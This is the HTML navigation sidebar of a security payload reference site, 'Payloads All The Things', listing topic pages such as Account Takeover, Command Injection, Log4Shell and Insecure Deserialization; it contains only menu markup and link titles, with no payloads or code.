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</div>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href=".." class="md-nav__link">
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<span class="md-ellipsis">
|
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Payloads All The Things
|
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../CONTRIBUTING/" class="md-nav__link">
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<span class="md-ellipsis">
|
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CONTRIBUTING
|
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</span>
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</a>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
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|
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<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
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<span class="md-ellipsis">
|
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API Key Leaks
|
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</span>
|
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|
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_3">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
API Key Leaks
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../API%20Key%20Leaks/" class="md-nav__link">
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<span class="md-ellipsis">
|
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API Key and Token Leaks
|
|
</span>
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
|
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|
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|
|
<span class="md-ellipsis">
|
|
IIS Machine Keys
|
|
</span>
|
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
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|
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<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
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|
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<span class="md-ellipsis">
|
|
Account Takeover
|
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</span>
|
|
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|
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
|
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_4">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Account Takeover
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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|
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<li class="md-nav__item">
|
|
<a href="../Account%20Takeover/" class="md-nav__link">
|
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|
|
<span class="md-ellipsis">
|
|
Account Takeover
|
|
</span>
|
|
|
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|
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</a>
|
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</li>
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<li class="md-nav__item">
|
|
<a href="../Account%20Takeover/mfa-bypass/" class="md-nav__link">
|
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|
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|
|
<span class="md-ellipsis">
|
|
MFA Bypasses
|
|
</span>
|
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|
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</a>
|
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</li>
|
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
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|
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<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
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|
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<span class="md-ellipsis">
|
|
Business Logic Errors
|
|
</span>
|
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|
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
|
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_5">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Business Logic Errors
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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|
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<li class="md-nav__item">
|
|
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
|
|
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|
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<span class="md-ellipsis">
|
|
Business Logic Errors
|
|
</span>
|
|
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|
|
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</a>
|
|
</li>
|
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
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|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CORS Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_6">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CORS Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
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|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CORS Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
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|
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</ul>
|
|
</nav>
|
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|
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</li>
|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CRLF Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_7">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CRLF Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
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|
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|
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|
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|
|
<li class="md-nav__item">
|
|
<a href="../CRLF%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Carriage Return Line Feed
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
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|
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</ul>
|
|
</nav>
|
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</li>
|
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<li class="md-nav__item md-nav__item--nested">
|
|
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|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_8">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CSV Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../CSV%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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</ul>
|
|
</nav>
|
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</li>
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CVE Exploits
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_9">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CVE Exploits
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CVE%20Exploits/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Common Vulnerabilities and Exposures
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CVE-2021-44228 Log4Shell
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
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</ul>
|
|
</nav>
|
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|
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</li>
|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Clickjacking
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_10">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Clickjacking
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Clickjacking/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Clickjacking
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
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</ul>
|
|
</nav>
|
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</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Client Side Path Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_11">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Client Side Path Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Client Side Path Traversal
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_12">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Command Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Command%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
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|
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</ul>
|
|
</nav>
|
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</li>
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_13">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Cross Site Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross-Site Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_14">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DNS Rebinding
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_15">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DOM Clobbering
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../DOM%20Clobbering/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_16">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Denial of Service
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Denial%20of%20Service/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_17">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Dependency Confusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_18">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Directory Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Directory%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_19">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
File Inclusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../File%20Inclusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LFI to RCE
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Inclusion Using Wrappers
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_20">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Google Web Toolkit
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_21">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
GraphQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_22">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
HTTP Parameter Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_23">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Headless Browser
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Headless%20Browser/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hidden Parameters
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_24">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Hidden Parameters
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Hidden Parameters
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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|
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</ul>
|
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</nav>
|
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</li>
|
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_25">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Deserialization
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
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</a>
|
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</li>
|
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|
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|
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<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.NET Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java Deserialization
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Node Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
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</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PHP Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
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</li>
|
|
|
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|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Python Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
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|
|
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|
|
|
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|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Ruby Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
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</li>
|
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|
|
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|
|
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|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_26">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Direct Object References
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
